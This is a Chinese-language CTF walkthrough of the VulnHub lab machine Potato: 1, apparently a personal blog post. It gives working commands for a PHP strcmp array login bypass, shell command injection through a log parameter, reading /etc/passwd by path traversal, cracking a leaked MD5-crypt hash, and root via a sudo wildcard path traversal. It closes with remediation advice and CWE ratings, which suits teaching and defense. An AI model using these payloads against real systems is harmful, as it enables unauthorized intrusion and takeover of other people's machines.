跳到主要内容

VulnHub Potato: 1 通关记录|FTP 源码泄露、PHP strcmp 绕过与 sudo 通配符提权

靶机链接:Potato: 1

本文从匿名 FTP 暴露的 PHP 备份源码入手,依次完成认证绕过、命令注入、凭据恢复和 sudo 通配符路径穿越提权。


0x01 基本信息

名称IP
Kali Linux192.168.1.113
Potato: 1192.168.1.111

目标: 获得 root 权限,捕获两个 flag 文件。


攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、80/tcp Apache、2112/tcp ProFTPD明确 FTP 与 Web 是主要攻击面
信息泄露匿名 FTP index.php.bak暴露 PHP 源码、硬编码密码、strcmp 逻辑
Auth 绕过username[]=admin&password[]=foostrcmp 数组入参返回 NULL,NULL==0 为真
命令注入file=log_01.txt; <cmd>shell_exec() 直接拼接触发 RCE
凭据窃取LFI 读取 /etc/passwdwebadmin 密码哈希 $1$webadmin$... 外泄
密码破解John / MD5 crypt + rockyouwebadmin:dragon
初始访问SSH webadmin@192.168.1.111获取 user flag
Root 提权sudo /bin/nice /notes/../bin/bash通配符路径穿越 → root shell

0x02 侦察与信息收集 (Reconnaissance)

1. 连通性确认

ping -c 3 192.168.1.111

输出:

3 packets transmitted, 3 received, 0% packet loss
rtt min/avg/max/mdev = 0.472/0.851/1.609/0.535 ms

2. RustScan 联动 Nmap

按策略先用 RustScan 快速覆盖全端口,再联动 Nmap 做服务识别:

rustscan -a 192.168.1.111 --ulimit 5000 --range 1-65535 -t 2000 -- -sV -sC -oN nmap-initial.txt

RustScan 首轮输出:

Open 192.168.1.111:22
Open 192.168.1.111:80
Open 192.168.1.111:2112

联动 Nmap 复核后的服务摘要:

端口服务指纹 / 备注
22/tcpSSHOpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcpHTTPApache httpd 2.4.41 (Ubuntu),标题 "Potato company"
2112/tcpFTPProFTPD允许匿名登录

MAC 地址 08:00:27:E7:AD:3D 注册为 Oracle VirtualBox,确认为虚拟机靶机。操作系统为 Linux (Ubuntu)。

3. FTP 匿名访问

Nmap 已自动探测 ftp-anon 脚本,输出中可见:

| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 901 Aug 2 2020 index.php.bak
|_-rw-r--r-- 1 ftp ftp 54 Aug 2 2020 welcome.msg

下载两个文件:

wget -r --ftp-user=anonymous --ftp-password="" ftp://192.168.1.111:2112/ -P ftp-files/

文件清单:

文件大小价值
index.php.bak901 B — PHP 源码备份,暴露完整登录逻辑
welcome.msg54 B低 — 标准 FTP 欢迎信息

0x03 漏洞探测与分析 (Vulnerability Analysis)

1. index.php.bak 源码审计

cat ftp-files/192.168.1.111:2112/index.php.bak

关键代码段:

$pass = "potato"; //note Change this password regularly

if($_GET['login']==="1"){
if (strcmp($_POST['username'], "admin") == 0 &&
strcmp($_POST['password'], $pass) == 0) {
echo "Welcome! </br> Go to the <a href=\"dashboard.php\">dashboard</a>";
setcookie('pass', $pass, time() + 365*24*3600);
}else{
echo "<p>Bad login/password! </br> ...</p>";
}
exit();
}

三个发现:

漏洞细节风险
硬编码密码$pass = "potato"密码直接在源码中,注释还写着"定期改"
strcmp() 类型混淆数组入参 → 返回 NULL → NULL == 0 为真认证完全绕过
shell_exec() 无过滤dashboard.php 中日志功能直接拼接用户输入RCE
备份文件泄露.bak 保留在 FTP 匿名目录将全部 Web 逻辑暴露给攻击者

strcmp() 在 PHP 中的行为:比较字符串返回 int;但传入数组时触发 Warning 并返回 NULL。在弱类型比较 (==) 中 NULL == 0 为 TRUE。因此 username[]=admin&password[]=foo 即可绕过登录。

2. Web 目录爆破

gobuster dir -u http://192.168.1.111/ -w /usr/share/wordlists/dirb/common.txt -t 30

输出:

/admin (Status: 301)
/index.php (Status: 200)

前台 index.php 只是一个施工中页面("Potato company" + 土豆图片)。真正的登录入口在 /admin/


0x04 核心攻击链:strcmp 绕过与命令注入

1. Auth 绕过

利用 strcmp() 类型混淆,将 username 和 password 作为数组发送:

curl -s -L -c cookies.txt \
'http://192.168.1.111/admin/index.php?login=1' \
-d 'username[]=admin&password[]=foo'

响应:

Welcome! </br> Go to the <a href="dashboard.php">dashboard</a>

同时返回 Set-Cookie:pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh。认证绕过成功。

2. 后台功能枚举

携带 cookie 访问 dashboard,发现四个子页面:

curl -s -b cookies.txt 'http://192.168.1.111/admin/dashboard.php?page=users'
curl -s -b cookies.txt 'http://192.168.1.111/admin/dashboard.php?page=date'
curl -s -b cookies.txt 'http://192.168.1.111/admin/dashboard.php?page=log'
curl -s -b cookies.txt 'http://192.168.1.111/admin/dashboard.php?page=ping'
页面后端操作用户输入可控?
?page=users硬编码输出 "Admin"
?page=dateshell_exec("date")
?page=logshell_exec("cat logs/" . $_POST['file'])是 — 命令注入
?page=pingshell_exec("ping 8.8.8.8 -c 3")否(IP 硬编码)

3. 命令注入验证

curl -s -b cookies.txt \
'http://192.168.1.111/admin/dashboard.php?page=log' \
--data-urlencode 'file=log_01.txt; id'

输出:

Contenu du fichier log_01.txt; id :
Operation: password change
Date: January 03, 2020 / 11:25 a.m.
User: admin
Status: OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)

确认 RCE,当前身份 www-data

shell_exec("cat logs/" . $_POST['file']) 没有任何输入过滤,分号后直接注入任意系统命令。


0x05 凭据窃取与初始访问

1. 读取 /etc/passwd

curl -s -b cookies.txt \
'http://192.168.1.111/admin/dashboard.php?page=log' \
--data-urlencode 'file=../../../../../etc/passwd'

关键行:

florianges:x:1000:1000:florianges:/home/florianges:/bin/bash
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash

注意 webadmin 的第二个字段不是 x,而是完整的密码哈希 $1$webadmin$3sXBxGUtDGIFAcnNTNhi6/。这说明系统未启用 shadow 密码保护,或该账户的密码字段被手动写入。

2. 密码哈希破解

哈希格式为 MD5 crypt(前缀 $1$),使用 John the Ripper 配合 rockyou 字典:

echo '$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=md5crypt

结果:

dragon (?)
1g 0:00:00:00 DONE 100.0g/s 38400p/s 38400c/s 38400C/s

凭据:webadmin:dragon

3. SSH 初始访问

sshpass -p 'dragon' ssh -o StrictHostKeyChecking=no webadmin@192.168.1.111 'id'

输出:

uid=1001(webadmin) gid=1001(webadmin) groups=1001(webadmin)

4. User Flag

sshpass -p 'dragon' ssh -o StrictHostKeyChecking=no \
webadmin@192.168.1.111 'cat /home/webadmin/user.txt'

输出:

TGUgY29udHLDtGxlIGVzdCDDoCBwZXUgcHLDqHMgYXVzc2kgcsOpZWwgcXXigJl1bmUg

Base64 解码:

echo '...' | base64 -d

Flag 1:

Le contrôle est à peu près aussi réel qu'une

0x06 权限提升 (Privilege Escalation)

1. sudo 枚举

sshpass -p 'dragon' ssh -o StrictHostKeyChecking=no -t -t \
webadmin@192.168.1.111 'echo dragon | sudo -S -l 2>&1'

输出:

Matching Defaults entries for webadmin on serv:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on serv:
(ALL : ALL) /bin/nice /notes/*

关键发现: webadmin 可以以 root 身份运行 /bin/nice,但只能作用于 /notes/* 路径。/notes/ 目录内容如下:

文件权限所有者
clear.sh-rwx------ (11 B)root:root
id.sh-rwx------ (8 B)root:root

目录权限 drwxr-xr-x root:root,webadmin 无写入权限。

2. 漏洞分析

nice 命令语法:

nice [OPTION] [COMMAND [ARG]...]

sudo 规则中的 /notes/* 是通配符。理想情况下只应匹配 /notes/ 目录下的文件。但 sudo 的通配符匹配发生在路径解析之前。攻击者可以利用 .. 进行路径穿越:

/notes/../bin/bash

解析后变为 /bin/bash

由于 /notes/.. 仍然以 /notes/ 开头,sudo 的通配符规则匹配成功。nice 收到 /bin/bash 作为 COMMAND 参数后,以 root 身份启动一个 shell。

3. 提权利用

sshpass -p 'dragon' ssh -o StrictHostKeyChecking=no -t -t \
webadmin@192.168.1.111 \
'echo dragon | sudo -S /bin/nice /notes/../bin/bash -c "id; whoami"'

输出:

uid=0(root) gid=0(root) groups=0(root)
root

提权成功,获得 root shell。

4. Root Flag

sshpass -p 'dragon' ssh -o StrictHostKeyChecking=no -t -t \
webadmin@192.168.1.111 \
'echo dragon | sudo -S /bin/nice /notes/../bin/bash -c "cat /root/root.txt"'

输出:

bGljb3JuZSB1bmlqYW1iaXN0ZSBxdWkgZnVpdCBhdSBib3V0IGTigJl1biBkb3VibGUgYXJjLWVuLWNpZWwuIA==

Base64 解码:

echo '...' | base64 -d

Flag 2:

licorne unijambiste qui fuit au bout d'un double arc-en-ciel.

0x07 最终成果 (Final Flags)

User Flag

  • 路径:/home/webadmin/user.txt
  • 权限:webadmin:root 600
  • 内容:Le contrôle est à peu près aussi réel qu'une

Root Flag

  • 路径:/root/root.txt
  • 权限:root:root 600
  • 内容:licorne unijambiste qui fuit au bout d'un double arc-en-ciel.

完整句子:

Le contrôle est à peu près aussi réel qu'une licorne unijambiste qui fuit au bout d'un double arc-en-ciel.


复盘总结

这台靶机的攻击链体现了经典的"信息泄露 → 源码审计 → 代码漏洞 → 凭据窃取 → 配置失误"路径。

  1. FTP 匿名访问是入口。 一个看似无害的 index.php.bak 把整个 Web 应用的登录逻辑、密码和漏洞全部暴露。生产环境中备份文件绝不应留在可公开访问的位置,更不应保留可执行的 .php.bak 扩展名。

  2. strcmp() 是 PHP 经典型混淆。 数组参数绕过是 PHP 弱类型比较的教科书案例。改用 === 严格比较或 hash_equals() 可彻底规避。

  3. shell_exec() 命令注入是本靶机最严重漏洞。$_POST['file'] 直接拼接到 shell 命令中没有任何过滤。应使用 escapeshellarg() 并对用户输入做白名单校验。

  4. 密码哈希不应出现在 /etc/passwd 现代 Linux 系统通过 /etc/shadow 隔离敏感哈希。webadmin 的哈希直接写入 passwd 文件,任何能读该文件的用户都能离线爆破。且密码 dragon 在 rockyou 字典中排名极靠前,John 秒级即破。

  5. sudo 通配符规则需要严格审计。 /bin/nice /notes/** 未考虑路径穿越。应使用精确匹配(如 /bin/nice /notes/id.sh)或限制命令参数(如 nice 本身不应允许 ../ 出现在参数中)。sudo 的 NOEXEC 标签或 AppArmor 配置也可作为纵深防御手段。

  6. 横向视角。 webadmin 虽非 sudo 组成员,但一条过于宽松的 sudo 规则直接送出了 root。这也提醒我们 sudo 规则的审计不应只关注 (ALL) ALL,每一个通配符都可能是一扇后门。

漏洞清单

#漏洞严重程度CWE
1FTP 匿名访问允许读取备份文件HighCWE-276
2备份文件泄露 PHP 源码与凭据HighCWE-540
3PHP strcmp() 类型混淆认证绕过CriticalCWE-697
4shell_exec() 命令注入CriticalCWE-78
5密码哈希在 /etc/passwd 中外泄MediumCWE-256
6弱密码 dragonMediumCWE-521
7sudo 通配符路径穿越提权HighCWE-22